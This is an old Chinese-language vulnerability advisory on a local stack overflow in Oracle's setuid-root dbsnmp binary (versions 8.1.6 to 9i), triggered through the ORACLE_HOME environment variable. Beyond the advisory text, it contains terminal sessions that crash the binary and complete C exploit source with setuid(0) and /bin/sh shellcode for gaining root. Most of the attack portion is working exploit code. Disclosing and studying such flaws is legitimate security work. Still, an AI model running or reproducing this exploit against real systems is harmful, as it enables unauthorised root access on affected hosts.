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Oracle 8.1.6 - 8.1.7 - 9i 的dbsnmp存在漏洞


发布时间:2001-08-03
更新时间:2001-08-03
严重程度:
威胁程度:本地管理员权限
错误类型:环境错误
利用方式:服务器模式

受影响系统
Oracle 8.1.6 - 8.1.7 - 9i
详细描述
Oracle 8.1.6 - 8.1.7 - 9i 中的dbsnmp存在环境变量溢出漏洞,
对ORACLE_HOME输入过多字符串可造成堆栈破坏并获得ROOT本地权利。

oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp


[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462


[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault



This overflow exists in newer products like Oracle 9i and maybe in older
too.




[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp


[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462


[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault

测试代码
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.


dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.


In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).




"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."


                        L.E.Aute
  



This vulnerability was researched by:
        Juan Manuel Pascual <pask@plazasite.com>


Special thanks to:


        Ivan Sanchez <isanchez@plazasite.com>
        Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/






#include <stdio.h>
#include <stdlib.h>


#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"



char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"


"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";



unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}


void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }


  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;


  memset(buff,bsize/2,NOP);


ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];


buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}

解决方案
Chmod -s

相关信息
Ivan Sanchez <isanchez@plazasite.com>
        Mundo Alonso-Cuevillas <mundo@plazasite.com>